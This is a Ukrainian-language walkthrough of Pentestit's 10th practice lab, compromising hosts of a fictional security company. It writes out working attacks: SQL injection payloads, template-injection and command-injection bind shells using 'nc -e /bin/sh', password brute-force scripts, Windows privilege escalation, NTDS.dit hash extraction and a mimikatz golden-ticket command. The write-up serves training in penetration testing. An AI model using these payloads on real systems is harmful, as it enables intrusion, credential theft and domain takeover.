Пентест в Global Data Security — проходження 10-й лабораторії Pentestit



Лабораторії компанії Pentestit вже стали традицією для багатьох. Кожен травень і листопад відкривається чергова лабораторія, і тисячі ентузіастів по всьому світу не сплять цілодобово щоб першими скомпрометувати мережа нового віртуального банку, розробників ПЗ або провайдера послуг в області ІБ.

25-го листопада запустилася чергова, на цей раз 10-я лабораторія, де учасникам було запропоновано прорватися в мережу вигаданої компанії Global Data Security — розробника ПЗ в області інформаційної безпеки.

6-го грудня, рівно через 11 діб, лабораторія була пройдена першими учасниками, які змогли одержати доступ до кожного уразливого сайту мережі компанії Global Data Security і знайшли на них спеціальні токени — комбінації букв і цифр, які потрібно ввести в панель управління на сайті Pentestit.

Для тих, хто ще не встиг зайнятися лабораторією — вона буде активна до травня 2017-го року, після чого її замінить вже оголошена 11-я лабораторія. А поки що, ця стаття пропонує опис всіх етапів проходження поточної лабораторії для всіх, хто хоче розвинути свої навички пентеста і дізнатися більше про актуальні уразливість на кінець 2016-го року. Стаття вийшла довга, але, сподіваюся, цікава.

DisclaimerЯ не є співробітником або афілійованою особою компанії Pentestit. Цей документ описує кроки, які я зробив, щоб вирішити завдання в лабораторії. Мої особисті рекомендації та переваги ніяким чином не відносяться до офіційного думку компанії Pentestit.

Вся інформація в цьому документі надана виключно в освітніх цілях. Продовжуючи читати цей документ, ви погоджуєтесь не використовувати цю інформацію в незаконних цілях, і підтверджуєте, що ви і тільки ви несете повну відповідальність за свої дії або знання, отримані з цього документа. Автор цього документа і компанія Pentestit не несуть ніякої відповідальності за будь-які збитки, заподіяні кому-небудь в результаті використання знань і методів, отриманих в результаті прочитання даного документа.

Підключення до лабораторії
Перш ніж почати, потрібно зареєструватися в лабораторії, налаштувати VPN-з'єднання і підключитися до мережі віртуальної компанії Global Data Security.

Зареєструйтесь тут, і потім дотримуйтесь цим інструкціям для того, щоб підключитися.

Для проведення тестування можна встановити віртуальної машини Kali Linux — спеціальний дистрибутив Лінукса для пентестеров, в якому є все необхідне для роботи. Якщо ви цього ще не зробили, тепер саме час.

Починаємо тестування
Після реєстрації і підключення ми бачимо наступну схему мережі:


Перед нами gateway IP-адреса 192.168.101.9 — зовнішній шлюз компанії. Будь пентест корисно починати з пасивного і активного збору інформації про компанії, її співробітників, продукти, сервіси, публічних сайтах і піддоменів і в чому іншому.

Пасивний збір інформації означає, що ми не зв'язуємося безпосередньо з серверами компанії, а пробуємо знайти інформацію в загальнодоступних джерелах — Google, LinkedIn, data.com, GitHub, та інших. Досить часто можна знайти багато цікавого: імена співробітників підкажуть логіни у внутрішню мережу, на GitHub іноді можна знайти вихідні тексти, які допоможуть краще дізнатися про внутрішній устрій продуктів або інфраструктури компанії, і так далі.

На жаль, в даному випадку пасивний збір інформації не дав бажаних результатів (а ось в минулого лабораторії, в завданні SSH це було дуже корисно), тому ми переходимо до активного збору інформації, тобто такого, який передбачає пряме взаємодія з доступними нам ресурсами компанії.

Збираємо інформацію
Почнемо ми зі сканування портів, доступних через шлюз:



Корисно також просканувати інші TCP порти, і UDP порти: про них часто забувають, адже безліч сервісів, такі як внутрішній VPN (наприклад, як в лабораторії #8) і інші. Залишимо це в якості вправи, а самі поки сконцентруємося на вже знайденої інформації.

В результаті нам доступні SSH сервер, поштовий SMTP сервер, два сайти і веб-інтерфейс для співробітників у вигляді CommuniGate Pro на порту 8100. Почнемо з вивчення сайтів.

При спробі зайти на 192.168.101.9 отримуємо редирект на домен store.gds.lab. Мабуть, сайт доступний з цього віртуального хосту, і автоматично редиректит нас на нього. Додамо потрібний рядок в /etc/hosts:



На всякий випадок ми додали gds.lab у тому числі. Тепер сайт доступний з:


Бачимо, що перед нами магазин на базі OpenCart:



При цьому різні спроби його атакувати (наприклад знайти XSS або використовувати одну з знайдених в OpenCart вразливостей) призводять до такої сторінку:


Мабуть, сайт захищений за допомогою Web Application Firewall. Отже, після невеликої розвідки, нам стала відома наступна інформація:

  • Магазин (мабуть, токен store) заснований на OpenCart і доступний з віртуального хосту store.gds.lab
  • На підставі сайту поки не вдалося точно визначити версію OpenCart
  • Будь-яка брутальна атака блокується за допомогою WAF (ін'єкції, XSS, перебір директорій)
  • Доступна папка /admin, але прості паролі за замовчуванням не підходять
Спробуємо зайти на 80-й порт використовуючи віртуальний хост gds.lab:



Цікаво, що тут доступний ще один ресурс — файловий хостинг ownCloud. Вивчивши вихідний код сторінки і повідомлення, розуміємо, що правильна віртуальний хост — cloud.gds.lab. Внісши відповідні зміни в hosts файл, отримуємо можливість пробувати логін та пароль:



Відмінно! Спробувавши декілька комбінацій вручну, бачимо, що стандартні паролі не підходять. При цьому виявляємо в ownCloud цікаву особливість: він пропонує скинути пароль, якщо пароль невірний, і в залежності від того, потрібна обліковий запис чи ні, видає різні повідомлення:

Якщо немає облікового запису:



Якщо обліковий запис зареєстрована:



Пароль підібрати не вдається, тому запам'ятаймо знайдене ім'я користувача, і продовжимо збирати інформацію, на цей раз перейшовши на наступний порт — 443.

192.168.101.9, на жаль, не доступний по https, з повідомленням виду:

An error occurred during a connection to 192.168.101.9. SSL received a record that exceeded the maximum permissible length. Error code: SSL_ERROR_RX_RECORD_TOO_LONG

Мабуть, щось з SSL. Сайт погано налаштований, і доступний з HTTP:



Мабуть, це і є основний сайт компанії. Спробуємо отримати наш перший токен!

Вивчаємо
site

Після уважного вивчення сторінок сайту, визначаємо що він, мабуть, написаний розробниками компанії GDS, і не використовує готову CMS начебто WordPress.

З урахуванням того, що безліч вразливостей пов'язані з призначеним для користувача введенням, подивимося доступні нам entry points. Знаходимо адреса:

http://192.168.101.9:443/post.php?id=1

Якщо додати одну лапку в кінці, отримуємо редирект на основну сторінку сайту, а якщо дві — немає. Схоже на SQL injection. Трохи поекспериментувавши, знаходимо, що умова знаходиться в дужках:

http://192.168.101.9:443/post.php?id=1') -- -

При цьому спроби додавати UNION SELECT не приводять до успіху, мабуть, на сайті є фільтр на SQL-ін'єкції. Спробуємо його обійти, використовуючи стандартний прийом із зміною регістру:

http://192.168.101.9:443/post.php?id=-1') UNiOn SeLect 1, @@veRsiOn -- -

Дістанемо таблицю:

http://192.168.101.9:443/post.php?id=-1') UNiOn seLeCT 1, GrouP_CONcaT(TabLe_nAmE) FroM InfOrMatIoN_scHemA.TabLes WheRe TabLe_sCheMa=database() -- -

Потім поля:

http://192.168.101.9:443/post.php?id=-1') UNiOn seLeCT 1, GrouP_CONcaT(ColUmN_nAmE) FroM InfOrMatIoN_scHemA.ColuMns WheRe TabLe_NaME='users' -- -

І потім логін і хеш пароля:

http://192.168.101.9:443/post.php?id=-1') UNiOn alL (seLeCT usErNAme, pAssWoRd FroM users liMIT 0,1) -- -



Використовуємо hashcat (бажано поза віртуальної машини, щоб використовувати GPU) щоб відновити пароль (словники SecLists — дуже рекомендую):


Вийшло! Використовуючи dirsearch знаходимо адміністративний інтерфейс в папці /admin:



Вводимо туди знайдені ім'я користувача та пароль, і отримуємо перший токен:



Такого ж результату допоможе домогтися SQLMap з включеною опцією --tamper=randomcase, але останній запит у будь-якому разі доведеться зробити вручну.

Беремо
mail

Під час вивчення сайту, звертаємо увагу на всю інформацію, знайдену в процесі дослідження. Дуже важливо не зупинятися в зборі інформації і продовжувати записувати всі знайдені особливості.

Зокрема, на сторінці Contact Us є інформація про двох облікових записах:



А на основній сторінці є посилання на ще одну людину:



В результаті отримуємо три облікові записи для поштового сервера:
  • a.modlin
  • s.locklear
  • j.wise
  • e.lindsey (підходить пароль з сайту, пошті нічого немає)
Перевіримо, чи не використовує хтось з цих користувачів словниковий пароль:



Вийшло підібрати пароль до користувачу a.modlin. Скористаємося веб-інтерфейсом пошти на порту 8100:



Ось і наступний токен, а заразом і лист від Joshua Wise з Android-додатком і наступним вмістом:

.

Запам'ятаємо це на майбутнє, судячи з IP адресою і схемою мережі, цей додаток знадобиться нам для токена
ssh-test
.

На даний момент ми уважно вивчили сайт (порт 443) і використовували його для отримання двох токенів, крім того, вдалося виявити два віртуальних хоста (store.gds.lab і cloud.gds.lab) на 80-му порту. Останні захищені WAF-му, тому, незважаючи на велику кількість можливих варіантів, знайти уразливості не вийшло з-за постійних блокувань.

Спробуємо проникнути у внутрішню мережу і продовжити звідти.

ssh

Користувачі часто використовують одні і ті ж паролі на різних сервісах. Спробуємо зайти на сервер SSH з під e.lindsey, з паролем знайденим на сайті:



Вийшло! На хості зручно присутній nmap, і нам доступна вся внутрішня мережа. Пошукавши токен, розуміємо, що не все так просто.

На сервері є багато цікавого. Серед іншого, знаходимо:
  • багато нових облікових записів з /etc/passwd і вмісту /home,
  • вихідний код магазину в /var/www/, з якого визначаємо версію OpenCart, пароль до локальної MySQL і хеш пароля адміністратора OpenCart
  • папку /data/users з правами на вхід, але без прав на лістинг.
Дуже корисна інструкція з пост-експлуатації Linux-машин доступна тут. В даному випадку підвищення привілеїв на сервері SSH не малося на увазі авторами лабораторії, але в будь-якому випадку вивчити вміст на предмет додаткових скриптів, налаштувань конфігурації, вебсайтів, в планувальнику завдань, підключених файлових систем і іншого дуже корисно.

З урахуванням того, що в конфігурації сайту токена немає, сконцентруємося на папці /data/users.



Як бачимо, на ній відсутня біт r, але є біт x, а значить заходити і працювати з вмістом папки можна, а от дивитися її лістинг — не можна. Коли ми стикаємося з такою же завданням у вебі (де практично завжди відключений лістинг директорій), ми використовуємо утиліти начебто dirb або dirsearch, які пробують відкрити файли за словником, перебираючи багато комбінацій. Спробуємо зробити те ж саме і тут, словники можна використовувати з dirb.

Напишемо невеликий скрипт, щоб рекурсивно перепробувати потрібні нам піддиректорії та файли за словником:

"""Importing os to access file system"""
import os

PATH = "/data/users/"
DICC = "/var/tmp/common.txt"

def attempt_path(path):
"""Check if file or directory exists and print out the result. Return true if directory"""

if os.path.isfile(path):
print "file Found : " + path
return False

if os.path.isdir(path):
print "Found dir : " + path
return True

return False

def look_for_subdirs(path):
"""Recursive function to look for dirs"""
with open(DICC) as dicc:
for line in dicc:
curr_path = path + line.rstrip('\n')
if attempt_path(curr_path):
look_for_subdirs(curr_path + "/")

look_for_subdirs(PATH)
print "Finished"

Тепер потрібно підготувати словник і завантажити його на ssh сервер. Один із способів — викласти словник і наш код на пітоні на локальний веб-сервер, і потім завантажити їх з нього за допомогою wget.

Візьмемо словник з dirb, який у kali знаходиться за адресою
/usr/share/dirb/wordlists/common.txt
, і додамо в нього імена локальних користувачів, а заодно і файл token.txt (сподіваємося він десь там):





На жаль, наш IP безпосередньо недоступний з хоста 172.16.0.8, тому використовуємо SSH тунель:



Тут є два моменти, на які потрібно звернути увагу.

На початку ми робимо remote port forwarding, пробрасывая remote частина «localhost:80» (тобто те, що в нашій локальній Kali машині знаходиться на порту 80) на локальний (для сервера SSH) порт 8765. Викликати цю командний рядок ssh> можна натисканням комбінації клавіш ~C (утримуючи shift нажимем ~ і потім C).

Тепер наш локальний вебсервер доступний нам на хості SSH. На сервері за замовчуванням включений проксі сервер, для локального порту його варто прибрати командою
unset
.

Тепер все готово, щоб запускати наш скрипт:



В папці
/data/users/rross/docs/
знайдений токен і SSH-ключ rross-a. Крім того, ми ще знайшли SSH-ключ користувача a.modlin. Напевно один з них підійде до ssh-test. Продовжимо!

Розбираємося з
ssh-test

Коли ми знайшли токен
mail
, нам стала доступна версія програми «gds-кодів»:

.
Як видно з листа, адресованого Альфреду Модлину, йому знадобиться два фактори для входу на сервер — ключ або пароль і номер порту SSH, який постійно змінюється. Ефективність другого фактора вельми сумнівна, тому що відкритий порт можна просто знайти з допомогою nmap, але тим не менш ми зробимо цю задачу передбачуваним авторами способом. Распакуем апк і винесемо classes.dex:



Потім сконвертируем dex в jar з допомогою однойменної утиліти:



І, нарешті, скористаємося декомпилятором JD, щоб отримати код:



protected void setAuthCode()
{
String str = new HOTP().gen("WFLHQEBMJ3XLPDOY", (int)Math.floor(System.currentTimeMillis() / 1000L / 30L), 6);
int i = Integer.parseInt(str.substring(-5 + str.length()));
if (i > 65534) {
i %= 65534;
}
TextView localTextView = (TextView)findViewById(2131492983);
Object[] arrayOfObject = new Object[1];
arrayOfObject[0] = Integer.valueOf(i);
localTextView.setText(String.format("%d", arrayOfObject));
}

Як бачимо, використовується клас HOTP, також доступний в апк, якому дається seed і мілісекунди для обчислення. Спробуємо витягти код, який генерує номер порту, щоб навчитися робити це, при бажанні, автоматично.



І потім скомпилируем і запустимо:



Порт є, залишилося написати команду, яка буде підключатися до ssh test одним рядком. Скопіюємо
/data/users/a.modlin/docs/key
в локальну папку, а потім скористаємося sshuttle, щоб зробити внутрішню мережу доступною з нашої Kali-машини.

sshuttle (який ще називають a poor man's VPN) використовує правила iptables, щоб зробити внутрішні підмережі доступними через ssh-тунелів. Підключаємося таким чином:



Зробимо bash-скрипт для підключення:

#!/bin/sh
ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i key a.modlin@172.16.0.1 -p$(java Main)

Підключаємося і знаходимо черговий токен:



Атакуємо
blog

Судячи за схемою мережі, за адресою 192.168.0.4 знаходиться блозі компанії, швидке сканування портів підтверджує присутність відкритого 80-го порту. Підключаємося через sshuttle і подивимося, що можна знайти на блозі:



Виглядає схоже на інсталяцію Joomla! Перевіримо:



Так і є. Спробуємо гучну нещодавно уразливість в Джумла, яка дозволяє створити обліковий запис адміністратора без аутентифікації. Можна скористатися эксплоитом за посиланням, а можна, наприклад, модулем з Metasploit:



Тепер просто заходимо під потрібним користувачем:



Знаходимо неопубліковану статтю:


І використовуємо її аліас у вигляді сертифіката, і блог піддався!

Розбираємо
captcha

Сервер з капчею за адресою 192.168.0.7 пропонує дуже багато — тільки порожню сторінку з незагрузившейся картинкою. Трохи повивчавши вихідний код основний
сторінки (попередньо підключившись до ssh з допомогою sshuttle), можна зробити наступні висновки:

  • Зображення генерується в папці sources з псевдовипадковим ім'ям
  • Ім'я папки зберігається для кожної сесії, і генерується заново для нової сесії (це зрозуміло якщо поміняти PHPSESSID)
  • Сама по собі картинка не працює — мабуть, якась стара забута development версія
Нічого з цього не дає прямих вказівок про те, що робити далі. Скориставшись dirsearch, знаходимо дещо цікаве:



Виходячи з вмісту robots.txt розуміємо, що є якийсь прихований bak файл, в якому, мабуть, і є найцікавіше.



При цьому readme.txt говорить про те, що картинка видаляється через деякий час після того, як вона була згенерована.

Візьмемо шлях до картинки з основної сторінки:

http://192.168.0.7/sources/43f1045f7bfd9bac63fc56dee0de5fc079b2e8a5b504548052de295444e71f5a496e1b931063b6e731844c2bfc2fd3f2cde4cd566d7c77c6e195a8b1362d9955f5ecc512b28eed353386bd0c07f7e17704ea3e4c59450e1b1c2a30e19bfacff4662cb0/captcha.png

Так як ми шукаємо прихований bak файл, спробуємо замінити розширення png на bak:

http://192.168.0.7/sources/43f1045f7bfd9bac63fc56dee0de5fc079b2e8a5b504548052de295444e71f5a496e1b931063b6e731844c2bfc2fd3f2cde4cd566d7c77c6e195a8b1362d9955f5ecc512b28eed353386bd0c07f7e17704ea3e4c59450e1b1c2a30e19bfacff4662cb0/captcha.bak



Мабуть, це резервна копія вихідного коду, яка говорить про те, що є файл captcha з сериализованной сесією, і файл з бекдор-шеллом, який приймає команди GET-параметр session і виконує їх.

На жаль, якщо зайти ще раз — файлу більше немає. Куди він подівся? Згадуємо readme.txt: він видаляється через деякий час. Після декількох спроб розуміємо, що файл стає доступним знову після заходження на /index.php. Зробимо невеликий цикл, який буде це робити для нас постійно, щоб тримати captcha.bak та інші файли доступними:

while true; do curl -i -s -k -b 'PHPSESSID=et07feiohsrnaf11n0kt31rf83' http://192.168.0.7/; done

Файл знову на місці. Залишається звернутися до
($_SESSION.php)?session=whoami
щоб переконатися, що ми отримали можливість віддаленого виконання коду:



Тепер зробимо bind shell на хості 192.168.0.7 на порту 1234:

http://192.168.0.7/sources/43f1045f7bfd9bac63fc56dee0de5fc079b2e8a5b504548052de295444e71f5a496e1b931063b6e731844c2bfc2fd3f2cde4cd566d7c77c6e195a8b1362d9955f5ecc512b28eed353386bd0c07f7e17704ea3e4c59450e1b1c2a30e19bfacff4662cb0/($_SESSION).php?session=nc -e /bin/sh -nvlp 1234

І підключимося до нього:



Ось і черговий токен!

Взяття
hall-of-fame

Вивчивши відкриті порти на 192.168.0.8 виявляємо сайт з описом відомих хакерів і можливістю входу:



Корисно почати з вивчення карти сайту, доступних і прихованих каталогів, і спроб визначити доступних користувачів. На жаль, login-форма не працює на відомих іменах.

Увагу привертають адреси адреси виду
http://192.168.0.8/index.php?hname=James
, так як параметр може виявитися прикладом уразливості типу LFI (local file inclusion), але спроби її експлуатувати підставивши системні шляху не приводять до успіху. Звернемося до dirsearch і спробуємо знайти приховані директорії:



Серед іншого, знайшовся цікавий файл: /backup/passwords.txt і підпапка /dev, закрита за basic-аутентифікацією. Скористаємося цими паролями на login-сторінку:



Після логіна, отримуємо пароль до /dev частини. Скористаємося нею, щоб зайти в /dev:



Всередині отримуємо копію зовнішнього сайту, але на ній підозрюваний раніше параметр hname вразливий до Server-Side Template Injection. Як видно, вписавши {{7*7}} ми отримуємо результат операції (49) у заголовку сторінки — який був обчислений на сервері. Ми отримали RCE.



Саму атаку можна детально вивчити по посиланню вище, а ми спробуємо скласти payload для того, щоб створити bind shell. Для початку уточнимо ім'я користувача:



А потім за допомогою наступної команди відкриємо bind shell:
http://192.168.0.8/dev/index.php?hname={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("nc -nvlp 1234 -e /bin/sh")}}

Підключившись, знаходимо черговий токен!



Читаємо
news

news (192.168.0.5) — черговий сайт в Global Data Security, зовні схожий на hall of fame, з можливістю реєстрації, входу, відновлення пароля і вивчення внутрішніх новин.

Логін форма пропонує нам ввести e-mail і пароль.


Спробувавши всі відомі комбінації логіна і пароля вже знайдених користувачів (a.modlin, e.lindsey, etc.), розуміємо, що вони не зареєстровані — ми отримуємо повідомлення wrong e-mail. При цьому, спроба ввести admin@gds.lab призводить до іншого повідомлення: wrong password. Отже, користувач admin@gds.lab зареєстровано.

Озброївшись Burp Suite, спробуємо підібрати пароль до admin@gds.lab, але це не призводить до успіху. Тоді знову звернемося до dirsearch і пошукаємо що ще ховається на сайті новин:



Знаходимо папку /old, а в ній стару версію сайту новин, в якій є цікавий коментар, який натякає на існування «простого користувача», тобто user:



Перевіримо наші здогадки. Логін в /old не призводить ні до чого цікавого, а от якщо зайти під user@gds.lab з паролем користувача в новий сайт новин, бачимо наступну сторінку:



Відмінно, залишилося зайти під адміністратором, щоб отримати токен. Ми тільки що дізналися про існування нової сторінки — user_info.php подивимося що є на цей рахунок у /old.



Після декількох спроб, розуміємо, що якщо спробувати залогуватися під користувачем admin використовуючи цю адресу, увійти не вийде, але висновок user_info.php зміниться:

http://192.168.0.5/old/login_2.php?username=admin&password=admin



Тобто, насправді ми увійшли! Однак новий user_info.php тепер все одно не дає нам потрапити всередину.

З цього можна укласти, що два сайту використовують одну і ту ж сесію, і зберігають у ній інформацію про користувача. Мабуть, спроба ввійти в /old зберігає в полі username у сесії ім'я користувача, і просто не редиректит на user_info.php якщо неправильний пароль (замість того щоб зберігати ім'я користувача тільки після успішного входу з правильним паролем). І хоча для сайту /old цього достатньо, новий ще використовує email, тому зайти на user_info.php не виходить.

Спробуємо скинути пароль для користувача admin:

http://192.168.0.5/password_restore_2.php?email=admin@gds.lab

Понадіявшись на те, що у формі скидання пароля програміст допустив таку ж помилку (а саме, зберіг у сесії імейл) ми пробуємо нам зберегти у сесії правильний email для того, щоб увійти під адміністратором.

Отже, весь процес складається з наступних кроків:
  • http://192.168.0.5/login_2.php?email=user%40gds.lab&password=user
    — входимо під user@gds.lab/user в новий сайт
  • http://192.168.0.5/old/login_2.php?username=admin&password=user
    — встановлюємо значення «admin» в якості поточного користувача
  • http://192.168.0.5/password_restore_2.php?email=admin@gds.lab
    — встановлюємо значення «admin@gds.lab» в якості поточного email-адреси
  • http://192.168.0.5/user_info.php
    — ми ввійшли під адміністратором
Після успішного входу, отримуємо токен (вирізаний на скріншоті нижче):



І ось, новини піддалися!

Отримуємо
web-control

Почнемо, як завжди, зі сканування портів, для чого скористаємося nmap, що зручно наданим нам на хості SSH.


Вивчивши 80-й порт, не знаходимо нічого цікавого крім форми для збору імейлів, яка, до того ж, не працює, і папки /uploads, в якій нічого цікавого знайти не вдалося.

Звернемо увагу на нестандартний порт 1503. Щоб його вивчити, спробуємо під'єднатися:

nc 192.168.0.6 1503



Мабуть, потрібно підібрати комбінацію логіна і пароля. Спробувавши відомі нам паролі з ssh, hall-of-fame mail і розуміємо що все не так просто, і доведеться написати невеликий скрипт:

"""Sockets"""
import socket

WEB_CONTROL_HOST = '192.168.0.6'
WEB_CONTROL_PORT = 1503
USER_FILE = '/root/pentestit/webc/users.txt'
PASS_FILE = '/opt/SecLists/Passwords/john.txt'

def recv_until(string, sock):
"""Отримує data from socket until certain string is found"""
data = ""
while True:
tmp = sock.recv(1)
if tmp == "":
break
data += tmp
if data.endswith(string):
break
return data

def attempt_login(user, password):
"""Attempts to log in under a specified account"""
# This should not connect every time and should be multi-threaded in an ideal world 
web_control = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
web_control.connect((WEB_CONTROL_HOST, WEB_CONTROL_PORT))

reply = recv_until("Enter login: ", web_control)
web_control.send(user)
reply = recv_until("Enter password: ", web_control)
web_control.send(password)
reply = web_control.recv(6)
web_control.close()

return "Error!" not in reply

with open(USER_FILE) as user_file:
for user_line in user_file:
with open(PASS_FILE) as pass_file:
for pass_line in pass_file:
if attempt_login(user_line, pass_line):
print "Success: " + user_line.rstrip('\n') + ":" + pass_line.rstrip('\n')

В якості користувачів випишемо відомі нам облікові записи з ssh, і кілька стандратных імен:

admin
administrator
root
user
k.barth
m.howard
g.leone
j.wise
s.locklear
e.lindsey
a.modlin

Запускаємо скрипт на виконання, і через деякий час отримуємо бажаний результат:



Вийшло! Після з потрібним логіном і паролем, розуміємо що ми опинилися в самописному інструменті для запуску будь-яких скриптів.

Безліч вразливостей пов'язано з погано перевіреним користувальницьким введенням, спробуємо добитися command injection. Якщо введення передається в system, ми можемо додати додаткову команду з допомогою роздільника — ;, &, або |. Спробуємо!



Фільтрується все крім |, що, мабуть, було упущено розробниками. Використовуючи команду
| nc -nvlp 1234 -e /bin/sh
створюємо bind shell на web-control. Тепер залишається тільки підключитись і знайти токен:

nc 192.168.0.6 1234
cat /var/opt/token.txt

Токен
store

Як видно на схемі мережі, store представлено двома хостами — 172.16.0.4 (production), і 172.16.0.5 (dev). Крім того, копія магазину знаходиться на хості ssh у теці /var/www/.

Вивчивши вміст /var/www робимо наступні висновки:
  • використовується остання версія OpenCart, в якій немає відомих вразливостей
  • /var/www/config.php
    знаходимо пароль до локальної БД, на якій встановлена копія магазину; в ній знаходимо хеш пароля користувача admin — поки він наша єдина надія.

У hashcat нещодавно навіть з'явилася можливість підбирати хеші формату OpenCart. Спробуємо:

На жаль, підібрати пароль не вдається навіть на досить великому словнику.

Перемкнемо увагу на store і dev-store — можливо у них є додатковий прихований файл, або використовується стара, уразлива версія OpenCart. Через деякий час виявляємо SQL-ін'єкцію на машині dev-store, якої не було на ssh або store — мабуть, на цьому сервері залишилася стара версія з вразливістю.

Для перевірки, поміняємо hosts файл, додавши запис:

172.16.0.5 store.gds.lab

І запустимо SQLmap:
sqlmap -u 'http://store.gds.lab/index.php?route=product/product&product_id=53*' --sql-shell



Ми отримали доступ до бази даних на dev-store. На жаль, доступ до файлової системи обмежений (прочитати /etc/passwd чи записати щось у файл через OUTFILE не виходить), тому, мабуть, токен знаходиться прямо в базі.



І ось, store узятий!

Вивчаємо
win-term

Щоб просунутися далі, учасникам знадобилося більше чотирьох днів, хоча, як зазвичай, скринька просто відкривався. На поточний момент нерозкритими залишилися три токена —
win-term, win-dc0
та
cloud
.

Просканувавши порти на Windows терміналі і контролері домену (DC0), розуміємо, що ніяких додаткових сервісів не відкрито, версія Windows 2008 R2, і відомих публічних вразливостей, що дозволяють отримати code execution немає. Незважаючи на це, ми можемо визначити що оновлення давно не встановлювалися, так як машмну win-term можна перезавантажити за допомогою уразливості в RDP. Це означає, що ймовірно підвищити привілеї до адміністратора після входу на машину не так складно.

Перебір паролів за словником теж не дає бажаного результату ні на одній з облікових записів. На всякий випадок переконуємося, що знайдені раніше облікові дані існують в домені:



Все на місці. На даному етапі у нас є паролі двох користувачів — a.modlin і e.lindsey. Спробуємо змінювати пароль e.lindsey таким чином, щоб він відповідав стандартним доменним політикам, і містив великі та маленькі літери і цифри. Почнемо з того, що зробимо першу букву пароля e.lindsey заголовної:

rdesktop 192.168.0.3 -u "GDS-OFFICE\\e.lindsey" -p "**********" -r disk:share=/root/pentestit/term -r clipboard:PRIMARYCLIPBOARD



Вдалося підключитися! Спробуємо підвищити привілеї до адміністратора з використанням відомої вразливості MS16-023. Я скомпілював цей код у вигляді exe file, але можна виконати і через PowerShell. Запускаємо:



В отриманій консолі адміністратора створюємо окремого користувача, видаляємо за собою зайві файли, і заходимо під локальним адміністратором:

rdesktop 192.168.0.3 -u "TermAdmin" -p "Admin123" -r disk:share=/root/pentestit/term -r clipboard:PRIMARYCLIPBOARD



У адміністратора знаходимо скрипт підключення зашифрованого диска за допомогою TrueCrypt з ключем. Запускаємо:



На новому диску X є база KeePass, знову ж таки з ключем:



А в ній — пароль від облікового запису rross до cloud, і довгоочікуваний токен:



Отримуємо права адміністратора домену
win-dc0

Продовжуючи вивчати вміст терміналу, ми знаходимо папку з бекапом диска доменного контролера:



Підключимо VHD файл в консолі керування сервером:



Потім скопіюємо файл
Windows\NTDS\Ntds.dit
та
Windows\System32\config\SYSTEM
з тільки що підключеного VHD на локальну kali-машину.



Перш ніж продовжити, потрібно підготуватися, встановивши спеціальні утиліти для роботи з таблицями NTDS.dit: libesedb і NTDSXtract. Можна встановити їх у /opt таким чином:

cd /opt

git clone https://github.com/libyal/libesedb.git
cd libese/
apt-get install git autoconf automake autopoint libtool pkg-config build-essential
./synclibs.sh
./autogen.sh
./configure
make
make install

cd ..

git clone https://github.com/csababarta/ntdsxtract.git

Тепер все готово. В першу чергу, зробимо таблиці з ntds.dit з допомогою
esedbexport
:



У діалоговому каталозі ntds.dit.export скористаємося NTDSXtract щоб отримати хеш:



В результаті виконання цієї команди, отримаємо файл nt.john.out з витягнутими хешами в новій папці dump/:



Іноді на цьому можна зупинитися, якщо можна відновити пароль з витягнутого хеш адміністратора. В даному випадку, так як це резервна копія, пароль вже не підходить. Тому скористаємося атакою Pass the Ticket (ptt), у якій ми використовуємо хеш облікового запису krbtgt для генерації так званого golden ticket.

Для цього завантажимо mimikatz на термінал, і запустимо його з правами адміністратора:



Для створення golden ticket нам потрібно SID домену (отримано з допомогою команди
lsadump::lsa
на скріншоті вище), ім'я облікового запису адміністратора домену (отримано з NTDS.dit), хеш облікового запису krbtgt (також отримано вище) і імена груп, в які входить адміністратор (стандартні значення: 500, 501, 513, 512, 520, 518, 519).

Використовуючи цю інформацію, створимо golden ticket і застосуємо його:

kerberos::golden /domain:gds-office.lab /sid:S-1-5-21-421115581-889488229-2938181853 /rc4:1dc9bae0282962e7d761a2eda274e6d7 /id:500 /user:administrator /groups:500,501,513,512,520,518,519 /ptt

Потім запустимо окремий cmd.exe з застосованим каптчей, і отримаємо доступ до ресурсу C$ на контролері домену:



Ось і токен! На даний момент ми володіємо повними правами адміністратора домену на цьому диску, а відповідно можемо виконувати довільний код на контролері домену, що зазвичай ознаменовує успішний фінал будь-якого пентеста.

В даному випадку атака була сильно спрощено — була резервна копія дисків контролера домену, відсутнє активне виявлення атак, включаючи той же mimikatz, а так само були відсутні необхідні патчі.

Останній рубіж —
cloud

Починаємо як зазвичай зі сканування портів:

Виявивши службу SSH на порту 2222 пробуємо зайти туди з обліковим записом rross і паролем, знайденим на терміналі.

ПриміткаЦей ланцюжок в лабораторії була досить заплутаною, тому що нам спочатку був доступний сервер ownCloud з обліковим записом адміністратора (як обговорювалося на початку статті), веб-сервер був неправильно налаштований, і можна було скачати sqlite бази даних ownCloud (http://cloud.gds.lab/data/owncloud.db), з якої можна було отримати хеш не піддається перебору (сіль збережена на диску і ми не маємо до неї доступу). При цьому, SSH-ключ користувача rross був знайдений вже давно, під час перебору вмісту /data/users/ на хості SSH, але, на жаль, не підійшов. Так як на порту 2222 включена автентифікація за допомогою пароля, можна було спробувати визначити які користувачі присутні на комп'ютері rross з допомогою атаки user enumeration timing attack. Для цього можна використовувати інструмент osueta.

Ця утиліта відправляє паролі довжиною 40 тис символів і вимірює різницю у відповідях сервера — якщо користувач існує, то OpenSSH обчислює хеш пароля, а якщо ні — то відразу повертається відповідь з негативним результатом аутентифікації. У поточній версії OpenSSH цей недолік виправлено, але тим не менш вразливість присутній у багатьох конфігураціях, і дозволяє значно скоротити час на підбір пароля.

У будь-якому випадку, після успішного отримання сертифіката
win-term
у нас є пароль, з яким можна зайти на SSH.

Цікаво, що кожен раз коли ми потрапляємо на сервер, ми потрапляємо в різний lxc-контейнер — від lxc1 до lxc5.



Після вивчення, стає зрозуміло, що потрібно піднімати привілеї, тому що з привілеями користувача rross нічого цікавого не доступно.

На lxc1 допущена класична помилка в управлінні правами:



Скрипт
clear_nginx_logs.sh
регулярно запускається з правами root, при цьому його можна модифікувати будь-якому користувачеві. Створимо нового користувача в системі:



Тут ми додаємо нового користувача в /etc/passwd з ім'ям ff і паролем 123 (захешированном в застарілому форматі, для простоти) з id рівним 0 (root). Через хвилину заходимо під цим користувачем і отримуємо повний доступ до контейнера:



Користувач доданий, але сертифіката в контейнері все одно немає — потрібно вийти за межі контейнера. Нещодавно NCC Group опублікували исследование з цього приводу. Приклад на сторінці 16 — це експлоїт, застосувавши який можна отримати доступ до файлової системи хост-машини.

Скомпилируем і запустимо файл на контейнері:



І нарешті — фінал, останній токен у файлі token.txt на хост-машині:



